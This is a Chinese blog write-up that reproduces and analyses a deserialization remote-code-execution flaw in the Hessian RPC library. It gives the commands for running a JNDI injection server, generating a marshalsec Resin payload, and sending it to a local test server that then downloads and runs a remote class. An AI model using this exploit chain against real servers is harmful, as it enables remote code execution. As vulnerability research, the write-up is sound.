Hessian反序列化RCE漏洞复现及分析

栏目: IT技术 · 发布时间: 6年前

内容简介:Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。使用marshalsec项目工具(

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。

Hessian反序列化类似 Java 反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。

使用marshalsec项目工具( https://github.com/mbechler/marshalsec )可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean

Hessian反序列化RCE漏洞复现及分析

下面使用Resin payload复现Hessian反序列化RCE漏洞

一、搭建测试环境

测试环境使用最新jar包

Hessian反序列化RCE漏洞复现及分析

将HessianTest.war放到tomcat/webapp/目录下并启动tomcat

Hessian反序列化RCE漏洞复现及分析

访问服务器地址 http://127.0.0.1:8080/HessianTest/hessian ,返回如下页面则说明环境正常

Hessian反序列化RCE漏洞复现及分析

二、启动JNDI利用工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址 https://github.com/welk1n/JNDI-Injection-Exploit

编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C为需要执行的命令 -A为监听地址

Hessian反序列化RCE漏洞复现及分析

三、生成payload

marshalsec工具地址 https://github.com/mbechler/marshalsec

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin <a href="http://127.0.0.1:8180/">http://127.0.0.1:8180/</a> ExecTemplateJDK7>hession

Hessian反序列化RCE漏洞复现及分析

将在当前目录生成hession的payload

注意: http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址

四、发送payload到hessian服务器

使用hessian.py 发送序列化的payload到服务器

执行命令:

python hessian.py -u <a href="http://127.0.0.1:8080/HessianTest/hessian">http://127.0.0.1:8080/HessianTest/hessian</a> -p hessian

Hessian反序列化RCE漏洞复现及分析

可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器

Hessian反序列化RCE漏洞复现及分析

五、分析

使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径

Hessian反序列化RCE漏洞复现及分析

Java客户端可以很方便的调用服务器上的方法,如下

Hessian反序列化RCE漏洞复现及分析

查看com.caucho.hessian.server.HessianServlet的代码

service方法处理客户端发来的http请求,调用

Hessian反序列化RCE漏洞复现及分析

Hessian反序列化RCE漏洞复现及分析

调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象

Hessian反序列化RCE漏洞复现及分析

看代码里面好像没有什么黑白名单过滤机制

通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器

下面是构造请求包的hessian.py代码

Hessian反序列化RCE漏洞复现及分析

利用图

Hessian反序列化RCE漏洞复现及分析 这是发送给Hessain服务器的请求包

Hessian反序列化RCE漏洞复现及分析


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Pattern Recognition and Machine Learning

Pattern Recognition and Machine Learning

Christopher Bishop / Springer / 2007-10-1 / USD 94.95

The dramatic growth in practical applications for machine learning over the last ten years has been accompanied by many important developments in the underlying algorithms and techniques. For example,......一起来看看 《Pattern Recognition and Machine Learning》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具